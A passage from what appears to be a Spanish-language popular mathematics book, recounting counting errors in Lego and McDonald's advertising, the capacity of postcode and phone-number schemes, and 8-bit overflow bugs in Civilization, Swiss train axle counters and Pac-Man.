Contar	combinaciones	puede	ser	una	ardua	tarea	porque	las	opciones	se	van
añadiendo	muy	 rápidamente	 y	 producen	 números	 asombrosamente	 grandes.
Desde	1974,	Lego	ha	afirmado	que	utilizando	solo	seis	de	sus	piezas	comunes
y	 corrientes	 de	 dos	 por	 cuatro	 se	 pueden	 conseguir	 102.981.500
combinaciones	diferentes.	Pero,	para	llegar	a	ese	número,	tuvieron	que	hacer
algunas	suposiciones	y	un	error.

Su	 cálculo	 da	 por	 hecho	 que	 todas	 las	 piezas	 son	 del	 mismo	 color	 (e
idénticas	 en	 cualquier	 otra	 característica)	 y	 que	 cada	 una	 de	 ellas	 se	 coloca
encima	de	otra	para	 lograr	una	 torre	de	 seis	piezas	de	alto.	Empezando	con
una	pieza	en	la	base,	existen	cuarenta	y	seis	formas	diferentes	de	colocar	cada
una	de	las	piezas	siguientes	encima	de	la	anterior,	lo	que	da	un	total	de	465	=
205.962.976	 torres.	 De	 todas	 esas	 torres,	 treinta	 y	 dos	 son	 únicas,	 pero	 las
otras	205.962.944	son	copias	de	las	demás.	A	cualquiera	de	esas	torres	se	le
puede	dar	 la	vuelta	y	 se	verá	exactamente	 igual	que	otra	 torre.	La	mitad	de
205.962.944	más	32	nos	da	un	total	de	102.981.504.	El	único	error	es	que	la
calculadora	de	1974	que	procesó	todo	esto	no	soportaba	tantos	dígitos,	por	lo
que	la	respuesta	se	redondeó	hacia	abajo	quitando	cuatro.

Y	entonces,	un	buen	día,	el	matemático	Søren	Eilers	estaba	paseando	por
Legoland,	en	Dinamarca,	y	no	se	sentía	satisfecho	con	el	número	102.981.500
que	vio	expuesto.	Un	 tiempo	después,	 en	 su	despacho	de	 la	Universidad	de
Copenhague,	 decidió	 averiguar	 el	 número	 de	 combinaciones	 resultantes	 de
combinar	seis	piezas	de	dos	por	cuatro	de	Lego,	pero	teniendo	en	cuenta	que
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las	piezas	se	pudieran	colocar	una	junto	a	otra	además	de	una	encima	de	otra.
No	 era	 un	 cálculo	 que	 se	 pudiera	 hacer	 a	mano.	 Incluso	 con	 seis	 piezas	 de
Lego,	el	número	de	 formas	en	 las	que	se	pueden	unir	entre	sí	es	demasiado
grande	 para	 que	 lo	 cuente	 un	 humano.	 Un	 ordenador	 tendría	 que	 explorar
todas	las	opciones	posibles	e	irlas	contabilizando.	Esto	ocurría	en	2004,	y	los
ordenadores	eran	mucho	más	potentes	que	en	1974,	pero	aun	así	fue	necesaria
media	semana	para	obtener	la	respuesta:	915.103.765.

Existen	veintiuna	formas	de	unir	dos	piezas	en	la	misma	dirección	y	veinticinco	formas	de	hacerlo	en
direcciones	diferentes.	Un	total	de	cuarenta	y	seis	opciones,	y	solo	las	dos	del	centro	son	simétricas.
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Para	asegurarse	de	que	su	cálculo	era	correcto,	Eilers	le	pasó	el	problema
a	un	estudiante	de	secundaria,	Mikkel	Abrahamsen,	que	estaba	buscando	un
proyecto	 de	 matemáticas.	 El	 código	 que	 utilizó	 Eilers	 estaba	 escrito	 en	 el
lenguaje	 de	 programación	 Java	 y	 se	 ejecutaba	 en	 un	 ordenador	 Apple.	 A
Abrahamsen	se	 le	ocurrió	una	nueva	forma	de	explorar	 las	combinaciones	y
lo	 programó	 en	 Pascal	 para	 que	 se	 ejecutase	 en	 una	máquina	 Intel.	Ambos
métodos	completamente	diferentes	dieron	la	misma	respuesta	de	915.103.765,
por	lo	que	podemos	estar	bastantes	seguros	de	que	es	correcto.

Dado	 que	 el	 cálculo	 de	 combinaciones	 puede	 producir	 números	 tan
enormes,	 se	 suelen	 utilizar	 en	 publicidad.	 Pero	 rara	 vez	 las	 compañías	 se
preocupan	 de	 obtener	 la	 respuesta	 correcta.	 Cuando	 Peter	 Cameron,	 un
matemático	 especialista	 en	 combinatoria	 fue	 a	 un	 restaurante	 de	 tortitas	 en
Canadá,	 se	 fijó	 en	 que	 anunciaban	 que	 se	 podía	 elegir	 entre	 «1.001
coberturas».	Siendo	especialista	en	combinatoria,	se	dio	cuenta	de	que	1.001
es	el	número	total	de	maneras	de	mezclar	cuatro	cosas	de	un	total	de	catorce
opciones,	 por	 lo	 que	 supuso	 que	 disponían	 de	 catorce	 coberturas	 y	 que	 los
clientes	 podían	 elegir	 cuatro.	 En	 realidad,	 el	 restaurante	 tenía	 veintiséis
coberturas	(lo	preguntó)	y	habían	elegido	«1.001»	únicamente	porque	era	un
número	 que	 parecía	 enorme.	 Si	 hubieran	 calculado	 las	 matemáticas
correctamente,	 esas	 veintiséis	 coberturas	 daban	 un	 total	 de	 67.108.864
opciones.	Un	extraño	caso	de	marketing	que	subestima	la	realidad.

De	 forma	parecida,	 en	2002,	McDonald’s	puso	en	marcha	una	 campaña
publicitaria	 en	 el	 Reino	 Unido	 para	 promocionar	 su	 Menú	McChoice,	 que
consistía	 en	 ocho	 productos	 diferentes.	 Pósteres	 colgados	 por	 todo	 Londres
prometían	 que	 cada	 consumidor	 podría	 elegir	 entre	 40.312	 opciones,	 un
número	 que,	 además	 de	 ser	 erróneo,	 viene	 acompañado	 de	 una	 guarnición
extra	de	error.	Y	 lo	que	 lo	convierte	en	un	caso	especial	es	que,	cuando	 les
avisaron	de	sus	errores,	McDonald’s	no	admitió	su	error,	sino	que	insistió	en
justificar	sus	malas	matemáticas.

Calcular	 el	 número	 de	 combinaciones	 de	 ocho	 productos	 del	 menú	 es
razonablemente	fácil.	Imagine	que	le	ofrecen	cada	una	de	las	opciones	de	una
en	una.	¿Quiere	una	hamburguesa?	¿Sí	o	no?	¿Quiere	patatas	fritas?	¿Sí	o	no?
Habrá	 ocho	 elecciones	 sí-no,	 por	 lo	 que	 tendremos	
2	×	2	×	2	×	2	×	2	×	2	×	2	×	2	=	28	=	256	opciones.	Entre	ellas	está	no	escoger
nada	del	menú,	escoger	comerlo	todo	y	todas	las	combinaciones	entre	ambos
extremos.	 Y	 si	 no	 comer	 nada	 no	 cuenta	 técnicamente	 como	 comida,	 nos
quedan	255	opciones	(aunque	algunas	personas	opinarán	que	«sin	comer»	es
su	opción	favorita	a	la	hora	de	visitar	un	McDonald’s).
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El	 número	 que	 utilizó	McDonald’s	 era	 el	 resultado	 de	 un	 cálculo	 muy
diferente.	 Es	 la	 respuesta	 a	 la	 pregunta	 de	 en	 cuántas	 formas	 diferentes	 se
pueden	disponer	 ocho	productos	 del	menú.	En	 este	 caso,	 imagine	que	 tiene
los	ocho	productos	frente	a	usted	y	tiene	que	comerlos	de	uno	en	uno.	Tiene
ocho	opciones	para	escoger	cuál	se	come	primero,	siete	opciones	para	lo	que
quiere	 comerse	 en	 segundo	 lugar,	 y	 así	 sucesivamente:	
8	×	7	×	6	×	5	×	4	×	3	×	2	×	1	=	8!	=	40.320	 formas	 de	 comerse	 un	 menú	 de
ocho	componentes[8]	.	McDonalds’s	es	muy	optimista	al	suponer	que	la	gente
pedirá	los	ocho	productos	del	menú	y	decidirá	el	orden	favorito	en	que	quiere
comérselos.	 (Con	 tres	 comidas	 por	 día,	 harían	 falta	 treinta	 y	 siete	 días	 para
probarlas	todas.	Eso	es	pasar	demasiado	tiempo	en	la	Casa	de	Ronald.)

Y	luego	vino	la	guarnición	extra	de	error,	que	creo	que	realmente	fue	el
único	 momento	 de	 claridad	 que	 tuvo	 McDonald’s.	 Decidieron	 que	 una
«combinación»	 requería	 al	menos	 que	 se	 combinaran	 dos	 productos,	 por	 lo
que	restaron	ocho	de	su	total,	para	eliminar	 la	opción	de	un	único	producto.
Por	supuesto,	el	cálculo	que	hicieron	originalmente	no	fue	en	ningún	caso	el
número	de	combinaciones,	por	lo	que	el	resultado	final	fue	un	sinsentido[9].	E
incluso	si	lo	hubieran	hecho	correctamente,	se	olvidaron	de	eliminar	la	opción
«sin	 comer»	de	 su	 lista.	En	 realidad,	 el	 número	de	 combinaciones	de	dos	o
más	 productos	 de	 un	 menú	 de	 ocho	 productos	 es	 247.	 Mucho	 menos	 que
40.312.	Todo	lo	contrario	a	su	habitual	publicidad:	¡Hazlo	grande!

La	diferencia	era	tan	enorme	que	154	personas	se	quejaron	a	la	Dirección
de	Normas	de	Publicidad	del	Reino	Unido	(ASA	por	sus	siglas	en	inglés)	de
que	McDonald’s	 estaba	 exagerando	 enormemente	 cuántas	 opciones	 ofrecía
realmente	 su	 Menú	 McChoice.	 Obligado	 ahora	 a	 defender	 su	 posición,
McDonald’s	no	admitió	que	sus	matemáticas	fueran	erróneas.	En	cambio,	 la
compañía	 optó	 por	 la	 estrategia	 clásica	 de	 «soy	 absolutamente	 inocente»	 al
presentar	 dos	 excusas	mutuamente	 excluyentes,	 como	un	 niño	 culpable	 que
dice	 que	 nunca	 hubo	 una	 hamburguesa	 y,	 al	 mismo	 tiempo,	 que	 fue	 su
hermano	quien	se	la	comió.

Primero,	cuando	se	les	dijo	que	el	número	de	formas	en	las	que	se	puede
pedir	una	comida	es	irrelevante,	McDonald’s	declaró	que	no	era	así.	Según	el
reglamento	de	la	ASA:

Los	anunciantes	dijeron	que	sabían	que	algunas	personas	podrían	pensar	que	una	hamburguesa
doble	de	queso	y	un	batido	de	leche	fuera	la	misma	permutación	que	un	batido	de	leche	y	una
hamburguesa	doble	de	queso,	pero	creyeron	que	cada	permutación	debía	considerarse	como	una
experiencia	gastronómica	diferente.
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Ni	siquiera	voy	a	analizar	su	uso	de	la	palabra	«permutación»,	porque	nos
distraería	del	hecho	de	que	McDonald’s	defendió	seriamente	que	comerse	la
hamburguesa	 o	 beberse	 el	 batido	 en	 primer	 lugar	 hace	 que	 se	 trate	 de	 dos
comidas	 diferentes.	 Nadie	 les	 ha	 dicho	 que,	 en	 lugar	 de	 comerse	 sus
productos	en	serie,	algunas	personas	los	consumen	en	paralelo,	lo	que	permite
un	número	gastronómico	de	posibles	menús.

Dando	por	hecho	que	la	compañía	lo	que	quería	era	calcular	el	número	de
disposiciones	 del	menú	 (su	 respuesta	 incluso	utilizó	 el	 nombre	 técnico	para
ese	cálculo:	un	«factorial»),	McDonald’s	 también	decidió	que	40.312	no	era
el	 resultado	 de	 un	 cálculo,	 sino	 que	 era	 una	 cifra	 meramente	 ilustrativa.
Sostenían	que	el	cálculo	real	incluiría	las	diferentes	variaciones	de	sabores	de
algunos	 de	 los	 productos	 del	 menú	 (para	 un	 nuevo	 total	 de	 dieciséis
componentes	distintos),	 lo	que	da	un	número	 total	de	combinaciones	mayor
que	 65.000.	 ¡Lo	 cual	 es	 correcto!	 (216	 =	 65.536).	 Pero	 incluye	 cosas	 como
entrar	 en	 un	 McDonald’s	 y	 pedir	 un	 batido	 de	 cada	 sabor	 y	 llamar	 a	 eso
comida.

Finalmente,	 la	 Dirección	 de	 Normas	 de	 Publicidad	 falló	 a	 favor	 de
McDonald’s	y	desestimó	las	reclamaciones.	Señalaron	que	McDonald’s	había
puesto	 un	 número	 incorrecto	 en	 su	 anuncio,	 pero	 decidió	 que	 la	 compañía
solo	 pretendía	 indicar	 que	 había	 un	montón	 de	 elecciones	 y	 que	 el	 total	 de
«más	de	65.000»	era	mayor	que	el	número	real	de	combinaciones	prometidas.
Pero,	 en	 este	 caso,	 el	 «lovin’	 it»	 no	 funcionó.	 Se	 presentó	 un	 recurso	 de
apelación	 quejándose	 de	 que	 un	 anunciante	 no	 debería	 poder	 cambiar
retrospectivamente	 el	 cálculo	 que	 hay	 detrás	 de	 un	 número	 utilizado	 en	 un
anuncio.	El	recurso	de	apelación	fue	denegado.	Y	eso	fue	todo.

Aunque	han	pasado	décadas	 desde	 entonces,	 voy	 a	 reabrir	 este	 caso	 sin
resolver	 (probablemente	 nunca	 se	 cerró)	 y	 echar	 una	 última	 mirada	 a	 los
hechos.	 Voy	 a	 contar	 únicamente	 los	 productos	 razonables.	 Los	 ocho
productos	 del	 Menú	 McChoice	 se	 pueden	 combinar	 en	 diferentes	 tipos	 de
aperitivos	y	comidas	como	haría	cualquier	persona.	Creo	que	podemos	cubrir
con	ello	cualquier	menú	razonable	posible:

Bebidas:

Cuatro	refrescos,	cuatro	batidos	o	ninguna	bebida:	9

Comidas:

Hamburguesa	 con	queso,	 sándwich	de	pescado	o	perrito	 caliente[10].	Permito
que	la	gente	no	escoja	plato	principal	(una	opción),	uno	de	estos	(tres	opciones)
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o	 dos	 de	 estos	 si	 están	 muy	 hambrientos	 (posiblemente,	 dos	 del	 mismo);	 6
opciones:	1+	3	+	6	=	10

¿Quiere	además	patatas	fritas?

Sí	o	no:	2

Postres:

Pastel	de	manzana,	 tres	sabores	de	McFlurry	o	 los	cuatro	batidos.	Aunque	se
hubiera	elegido	un	batido	como	bebida	principal,	no	voy	a	juzgar	el	hecho	de
que	alguien	quiera	otro	como	postre.	Con	la	opción	de	no	tomar	postre	hacen
un	total	de:	1	+	3	+	4	+	1	=	9

Eso	nos	da	un	total	de:	9	×	10	×	2	×	9	=	1.620

Si	eliminamos	la	opción	de	«no	comer»	nos	quedan	1.619	combinaciones
legítimas	 de	 productos	 del	menú.	Es	 posible	 argumentar	 que	 he	 pasado	por
alto	alguna	combinación	que	la	gente	podría	pedir,	pero	estoy	bastante	seguro
de	que	McDonald’s	no	quiere	utilizar	su	publicidad	para	sugerir	que	la	gente
entre	y	se	coma	siete	perritos	calientes	de	un	tirón.	Sería	un	«unhappy	meal».

¿Es	tu	permutación	lo	suficientemente	grande?

En	 ocasiones,	 el	 número	 de	 opciones	 permitidas	 puede	 dar	 lugar	 a
limitaciones	 serias.	 Los	 códigos	 postales	 de	 Estados	 Unidos	 tienen	 cinco
dígitos	de	 longitud	y	van	del	 00000	al	 99999:	un	 total	 de	 tan	 solo	 cien	mil
opciones.	Dado	 que	Estados	Unidos	 tiene	 una	 superficie	 total	 de	 9.158.022
kilómetros	cuadrados,	esto	da	menos	de	100	kilómetros	cuadrados	por	código
postal	potencial.	No	se	puede	ser	más	preciso	que	eso	 (por	 término	medio).
Esto	ayuda	a	 restringir	 la	entrega	de	correo,	pero	el	 resto	de	 la	dirección	es
necesaria	para	precisarla	más.

Puede	 ser	 peor:	 Australia	 utiliza	 códigos	 postales	 de	 cuatro	 dígitos
teniendo	 una	 superficie	 comparable	 a	 la	 de	 Estados	 Unidos	 (7.692.024
kilómetros	 cuadrados),	 por	 lo	 que	 cada	 código	 postal	 abarca,	 por	 término
medio,	769	kilómetros	cuadrados	con	los	que	lidiar.	Pero	gracias	a	tener	poca
población,	hay	solo	unas	2.500	personas	por	código	postal,	mientras	que	en
Estados	Unidos	la	cifra	es	de	unos	3.300	humanos	por	código.	Esos	números
suponen	 que	 la	 distribución	 de	 la	 población	 es	 equitativa	 y,	 según	 mi
experiencia,	a	 la	gente	 le	gusta	 ir	donde	hay	más	gente,	 lo	que	 implica	más
humanos	por	código	postal.	Me	 fijé	 solo	en	el	 código	postal	 australiano	del
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lugar	en	el	que	crecí	(6023)	y,	en	2011,	vivían	allí	15.025	personas	en	5.646
viviendas	diferentes.

Ahora	vivo	en	el	Reino	Unido,	y	si	me	fijo	en	mi	código	postal	hay	solo
treinta	y	dos	direcciones.	Eso	es	todo.	Todos	en	la	misma	calle.	Los	códigos
postales	 del	 Reino	 Unido	 tienen	 una	 resolución	 mucho	 más	 fina	 que	 los
australianos	o	los	estadounidenses.	El	edificio	donde	está	mi	despacho	está	en
un	código	postal	solo	para	él,	un	código	postal	que	abarca	un	único	edificio.
Puedo	 dar	 mi	 dirección	 o	 dar	 solo	 mi	 nombre	 y	 mi	 código	 postal.	 Para
estadounidenses	y	australianos	eso	suena	ridículo[11].

En	el	Reino	Unido	se	utilizan	códigos	postales	más	largos	y	permiten	que
estos	 tengan	 letras,	 dígitos	 y	 espacios	 específicos.	 Existen	 algunas
limitaciones	 sobre	 dónde	 se	 pueden	 colocar	 las	 letras	 y	 los	 dígitos,	 pero	 el
sistema	sigue	permitiendo	la	impactante	cantidad	de	mil	setecientos	millones
de	códigos	postales	posibles.

Algunos	ejemplos	de	códigos	postales.	He	trabajado	en	dos	tercios	de	ellos.

27	×	26	×	10	×	37	×	10	×	26	×	26	=	1.755.842.400

Para	 ser	 justos,	 esta	 cifra	 es	 una	 sobrestimación,	 porque	 algunas	 de	 las
letras	de	un	código	postal	del	Reino	Unido	describen	una	zona	geográfica.	El
«GU»	de	mi	ejemplo	es	para	la	zona	de	Guildford;	«SW»	y	«E»	son	para	las
zonas	del	sudoeste	y	el	este	de	Londres	 respectivamente.	Si	el	Reino	Unido
quisiera	realmente	maximizar	su	formato	de	códigos	postales	permitiendo	que
todas	 las	 letras	 y	 dígitos	 estuvieran	 en	 cualquier	 posición	 de	 dos	 grupos	 de
tres	 o	 cuatro	 símbolos	 cada	 uno,	 entonces	 habría	 2.980.015.017.984.	 Sería
suficiente	para	que	cada	pedacito	de	terreno	de	unos	30	centímetros	cuadrados
tuviera	su	código	postal.	Creo	que	es	una	gran	idea.	Cuando	hago	mi	compra
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del	supermercado	en	línea,	podría	darle	a	cada	cosa	que	pido	la	dirección	de
entrega	 que	 corresponde	 al	 armario	 exacto	 en	 el	 que	 necesito	 que	 acabe
depositada.

Los	números	 telefónicos	resuelven	el	problema	asignando	los	números	a
personas,	pero	en	este	caso	sí	que	necesitamos	un	emparejamiento	uno	a	uno.
Al	principio,	había	un	número	de	teléfono	por	casa	y,	ahora,	con	los	teléfonos
móviles,	 tenemos	un	número	por	 humano.	Pero	no	hay	 suficientes	 números
para	todos.

En	 el	 pasado,	 las	 llamadas	 de	 larga	 distancia	 o	 internacionales	 eran
exageradamente	caras,	por	lo	que	las	compañías	telefónicas	intentaban	rebajar
las	tasas	de	las	demás	compañías	de	tal	forma	que	los	clientes	no	tuvieran	que
cambiar	de	proveedor.	Las	compañías	proporcionaban	un	número	gratuito	al
que	llamar,	después	de	lo	cual	se	podía	introducir	un	código	de	identificación
y	luego	el	número	al	que	se	quería	llamar.	El	coste	de	esta	segunda	llamada,
que	 rebotaba	 a	 través	 de	 la	 compañía	 intermediaria,	 se	 cargaba	 a	 la	 cuenta
asociada	al	código	de	identificación.

El	problema	era	que	estas	compañías	intermediarias	no	aceptaban	códigos
largos.	 En	 internet,	 algunas	 personas	 comentan	 cómo	 algunas	 compañías
suelen	usar	solo	códigos	de	cinco	dígitos,	a	pesar	de	tener	decenas	de	miles	de
clientes.	 Cinco	 dígitos	 permiten	 solo	 cien	mil	 posibles	 códigos,	 y	 diez	 mil
clientes	 utilizarían	 el	 10%	 de	 ese	 total.	 En	 matemáticas,	 diríamos	 que	 el
conjunto	de	números	posibles	 está	 saturado	 en	una	proporción	bastante	 alta
del	 10%.	 Con	 menos	 de	 diez	 códigos	 posibles	 por	 cliente,	 no	 se	 tardaría
mucho	 en	 adivinar	 uno	 válido	 y	 hacer	 una	 llamada	 «gratis».	 Esta	 clase	 de
seguridad	 por	 ocultación	 solo	 funciona	 si	 el	 número	 de	 códigos	 posibles	 es
mayor	al	número	de	códigos	válidos.

Incluso	parece	que	el	número	de	humanos	sobre	la	Tierra	se	encuentra	en
una	 tasa	de	 saturación	 alta	 de	números	 telefónicos	posibles.	Si	 hubiera	más
números	 telefónicos	 que	 personas,	 serían	 desechables	 (los	 números
telefónicos,	 no	 los	 humanos).	 Pero,	 dado	 que	 los	 números	 telefónicos,
históricamente,	 necesitaban	 poder	 ser	 memorizados,	 siempre	 ha	 existido
presión	para	que	siguieran	siendo	cortos.	Y	por	ese	motivo,	no	hay	suficientes
para	 poder	 descartarlos,	 por	 lo	 que	 los	 números	 telefónicos	 se	 reciclan;
cuando	cancelamos	un	contrato	con	una	compañía	telefónica,	nuestro	número
no	se	elimina,	se	le	da	a	otra	persona.	La	posibilidad	de	que	un	número	que
está	vinculado	directamente	a	nuestra	 información	personal	 finalmente	 se	 le
dé	a	otra	persona	es,	sin	duda	alguna,	un	riesgo	de	seguridad.
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Mi	 historia	 favorita	 sobre	 un	 número	 telefónico	 reciclado	 procede	 del
Ultimate	Fighting	Championship	(UFC	por	sus	siglas	en	inglés).	La	UFC	es
una	competición	de	artes	marciales	mixtas	que	solo	me	sonaba	remotamente
porque	 el	 lugar	 donde	 pelean	 es	 un	 octágono	 y	 se	 refieren	 a	 él	 con	 ese
nombre.	Diría	que	llamar	a	un	programa	de	televisión	«Camino	al	Octágono»
y	luego	ver	un	grupo	de	luchadores	es	publicidad	falsa.	Y	mejor	no	me	pongo
a	hablar	de	cómo	unos	pocos	polígonos	superiores	aparecían	en	«Más	allá	del
Octágono».

El	 luchador	 de	 peso	wélter	 de	 la	UFC,	Rory	MacDonald,	 se	 percató	 de
que	 nunca	 le	 ponían	 la	 canción	 que	 había	 solicitado	 cuando	 se	 dirigía	 al
octágono	 para	 pelear.	 Sus	 oponentes	 elegían	 canciones	 agresivas	 para
animarse,	 y	 esas	 sí	 que	 las	 ponían,	 pero	 parecía	 que	 sus	 elecciones	 eran
ignoradas.	Me	 imagino	 que	 dirigirse	 a	 la	 zona	 de	 pelea	 y	 oír	 la	 inesperada
explosión	de	«U	Can’t	Touch	This»	de	MC	Hammer	no	ayuda	mucho.	Los
demás	luchadores	se	reían	de	sus	elecciones	musicales.

Esto	siguió	así	hasta	que,	el	día	previo	a	una	pelea,	el	productor	se	dirigió
a	 Rory	 y	 se	 disculpó	 por	 no	 haber	 sido	 capaz	 de	 poner	 la	 canción	 de
Nickelback	que	él	había	pedido.	Rory	respondió	que	nunca	había	pedido	 tal
cosa	 y	 el	 productor	 le	 mostró	 los	 mensajes	 de	 texto	 en	 los	 que	 la	 pedía.
Habían	reciclado	un	antiguo	número	de	teléfono	de	Rory	y	se	lo	habían	dado
accidentalmente	 a	 un	 fan	 de	 la	 UFC	 que	 estuvo	 eligiendo	 alegremente	 la
música	de	Rory	por	él.	Es	una	gran	historia	sobre	las	limitaciones	del	número
de	combinaciones	y	la	primera	vez	que	se	recuerda	que	Nickelback	consiguió
que	alguien	dejase	de	sufrir.
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Seis

NO	CUADRA
Gandhi	 es	 famoso	 por	 ser	 el	 pacifista	 que	 condujo	 a	 la	 India	 a	 su
independencia	del	Reino	Unido.	Pero,	desde	1991,	también	se	ha	ganado	una
reputación	 como	 líder	 militarista	 que	 lanza	 ataques	 nucleares	 sin	 mediar
provocación	 alguna.	Y	esto	 es	gracias	 a	 los	 juegos	de	ordenador	de	 la	 saga
Civilization,	 que	 han	 vendido	 más	 de	 33	 millones	 de	 copias.	 Te	 has	 de
enfrentar	 a	 varios	 líderes	 mundiales	 de	 la	 historia	 en	 una	 carrera	 para
construir	 la	 civilización	 más	 grande,	 una	 de	 las	 cuales	 es	 la	 de	 Gandhi,
normalmente	un	hombre	pacífico.	Pero,	incluso	desde	las	primeras	versiones
del	juego,	los	jugadores	se	dieron	cuenta	de	que	Gandhi	era	un	poco	capullo.
Nada	 más	 desarrollar	 la	 tecnología	 atómica,	 empezaba	 a	 soltar	 bombas
nucleares	sobre	otras	naciones.

Y	esto	era	debido	a	un	error	en	el	código	informático.	Los	diseñadores	del
juego	 habían	 asignado	 deliberadamente	 a	 Gandhi	 el	 nivel	 más	 bajo	 de
agresividad	posible	distinto	de	cero,	valorado	con	una	puntuación	de	1.	Típico
de	 Gandhi.	 Pero	más	 tarde,	 en	 el	 juego,	 cuando	 todas	 las	 civilizaciones	 se
volvían	 más,	 bueno,	 civilizadas,	 a	 cada	 líder	 se	 le	 reducía	 su	 nivel	 de
agresividad	 en	 dos	 puntos.	 En	 el	 caso	 de	 Gandhi,	 que	 empezaba	 con	 una
puntuación	de	1,	el	cálculo	se	efectuó	así:	1	–	2	=	255,	y	de	repente	tenía	el
nivel	máximo	 de	 agresividad.	A	 pesar	 de	 que	 posteriormente	 se	 subsanó	 el
error,	 las	 versiones	nuevas	del	 juego	mantienen	 como	 tradición	que	Gandhi
siga	siendo	el	líder	que	es	más	feliz	lanzando	bombas	nucleares.

El	 ordenador	 obtenía	 una	 respuesta	 de	 255	 por	 la	misma	 razón	 que	 los
ordenadores	 tienen	 problemas	 haciendo	 un	 seguimiento	 del	 tiempo:	 la
memoria	digital	es	finita.	Los	niveles	de	agresividad	se	almacenaban	como	un
número	 binario	 de	 8	 dígitos.	 Empezar	 en	 0000001	 y	 disminuir	 dos	 daba
00000000	y	 luego	11111111	(que	es	255	en	 los	números	habituales	de	base
10).	En	lugar	de	pasar	a	negativo,	el	número	almacenado	en	un	ordenador	da
la	 vuelta	 empezando	 de	 nuevo	 por	 el	 máximo	 valor	 posible.	 Este	 tipo	 de
errores	 se	 conocen	 como	 errores	 de	 desbordamiento,	 y	 pueden	 romper	 el
código	informático	de	formas	realmente	interesantes.

En	 Suiza	 no	 se	 permite	 que	 los	 trenes	 tengan	 256	 ejes.	 Puede	 parecer
extraño,	pero	no	significa	que	los	reguladores	europeos	se	hayan	vuelto	locos.
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Para	 hacer	 un	 seguimiento	 de	 la	 posición	 de	 todos	 los	 trenes	 en	 la	 red
ferroviaria	 suiza,	 hay	 detectores	 colocados	 alrededor	 de	 las	 vías.	 Son
detectores	sencillos	que	se	activan	cuando	una	rueda	pasa	por	una	vía,	y	luego
cuentan	 cuántas	 ruedas	 hay	 para	 proporcionar	 así	 una	 información	 básica
sobre	el	tren	que	acaba	de	pasar.	Desgraciadamente,	hacen	un	seguimiento	del
número	 de	 ruedas	 utilizando	 un	 número	 binario	 de	 8	 dígitos,	 y	 cuando	 ese
número	llega	a	11111111,	vuelve	a	00000000.	Cualquier	tren	que	haga	que	la
cuenta	vuelva	de	nuevo	 a	 exactamente	 cero	habrá	pasado	 sin	 ser	 detectado,
como	si	fuera	un	tren	fantasma.

Busqué	una	copia	reciente	del	documento	sobre	el	reglamento	ferroviario
suizo	y	la	regla	sobre	los	256	ejes	está	entre	la	reglamentación	sobre	la	carga
de	los	 trenes	y	 las	formas	en	las	que	los	revisores	se	pueden	comunicar	con
los	conductores.

Supongo	que	tenían	tantas	peticiones	de	personas	que	desean	conocer	con
exactitud	 por	 qué	 no	 pueden	 añadir	 algún	 eje	 a	 los	 256	 existentes	 que
incluyeron	una	 justificación	en	el	manual.	Esto	es,	aparentemente,	más	fácil
que	 arreglar	 el	 código.	Ha	habido	muchas	 ocasiones	 en	 las	 que	un	 tema	de
hardware	se	ha	salvado	con	una	solución	de	software,	pero	solo	en	Suiza	he
visto	que	se	haya	arreglado	un	error	con	un	parche	burocrático.

Eso	se	traduce	más	o	menos	como	«para	evitar	el	peligro	de	que	se	active	una	señal	de	«vías
despejadas»	para	una	sección	de	la	red	debido	al	reinicio	a	cero	del	contador	de	ejes,	un	tren	no	debe

tener	un	número	efectivo	de	ejes	igual	a	256».

Hay	 formas	 de	 mitigar	 los	 errores	 de	 desbordamiento.	 Si	 los
programadores	ven	venir	un	problema	relacionado	con	el	256,	pueden	colocar
un	 límite	 estricto	 para	 impedir	 que	 un	 valor	 pase	 de	 255.	 Sucede	 a	 todas
horas,	y	es	divertido	ver	cómo	la	gente	se	siente	confundida	con	los	umbrales
aparentemente	 arbitrarios.	 Cuando	 la	 aplicación	 WhatsApp	 incrementó	 el
límite	de	cuántos	usuarios	pueden	estar	en	el	mismo	grupo	de	chat	de	cien	a
256,	se	informó	de	ello	en	el	periódico	Independent	de	esta	forma:	«No	está
claro	por	qué	WhatsApp	ha	optado	por	ese	número	tan	específico».
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Sin	 embargo,	mucha	 gente	 sí	 que	 lo	 sabía.	 Ese	 comentario	 desapareció
rápidamente	de	la	versión	en	línea,	con	una	nota	a	pie	de	página	que	explicaba
que	 «algunos	 lectores	 han	 señalado	 que	 256	 es	 uno	 de	 los	 números	 más
importantes	 en	 informática».	 Siento	 lástima	 por	 el	 que	 se	 encargara	 de	 su
cuenta	de	Twitter	esa	tarde.

A	esto	lo	llamo	«solución	de	la	pared	de	ladrillo».	Si	está	en	un	grupo	de
WhatsApp	con	256	personas	(usted	y	255	amigos)	e	intenta	añadir	a	una	257.ª
persona,	 el	 programa	 simplemente	 no	 le	 permitirá	 hacerlo.	 Pero,	 dado	 que
usted	 afirma	 tener	 255	 amigos	mejores	 que	 esa	 persona,	 probablemente	 esa
relación	 sea	 tan	 débil	 que	 dicho	 individuo	 no	 se	 lo	 tomará	 como	 algo
personal.	La	amenaza	de	un	error	de	desbordamiento	es	también	la	razón	por
la	que	el	juego	Minecraft	tiene	un	límite	máximo	de	altura	de	256	bloques.	Lo
cual	es	una	auténtica	solución	de	pared	de	ladrillos,	nunca	mejor	dicho.

Una	forma	diferente	de	tratar	con	los	desbordamientos	es	hacer	un	bucle
de	 tal	 forma	 que	 00000000	 siga	 a	 11111111.	 Eso	 es	 exactamente	 lo	 que
sucede	 en	 Civilization	 y	 en	 los	 trenes	 suizos.	 Pero	 en	 ambos	 casos	 se
produjeron	efectos	colaterales	no	intencionados.	Los	ordenadores	se	limitan	a
seguir	 a	 ciegas	 las	 reglas	 que	 les	 dan	 y	 hacen	 lo	 «lógico»,	 sin	 ninguna
consideración	 por	 aquello	 que	 se	 considera	 «razonable».	 Esto	 significa	 que
escribir	 un	 código	 informático	 implica	 intentar	 tener	 en	 cuenta	 todos	 los
resultados	posibles	y	asegurarse	de	que	al	ordenador	se	le	ha	dicho	qué	es	lo
que	 debe	 hacer.	 Sí,	 programar	 requiere	 tener	 conocimientos	 de	 aritmética,
pero	 en	 mi	 opinión	 es	 la	 capacidad	 de	 pensar	 lógicamente	 en	 escenarios
hipotéticos	lo	que	más	une	a	los	programadores	con	los	matemáticos.

Los	programadores	 responsables	de	 la	versión	arcade	 original	del	 juego
Pac-Man	establecieron	que	el	número	del	nivel	se	almacenara	como	número
binario	 de	 8	 bits,	 el	 cual	 haría	 un	 bucle	 cuando	 llegase	 al	 límite.	 Pero	 se
olvidaron	de	tener	en	cuenta	todas	las	consecuencias	de	esa	decisión	y	en	el
nivel	256	aparece	una	enrevesada	cadena	de	problemas	técnicos,	provocando
que	el	juego	falle.	No	es	que	sea	una	gran	pérdida:	255	niveles	funcionales	ya
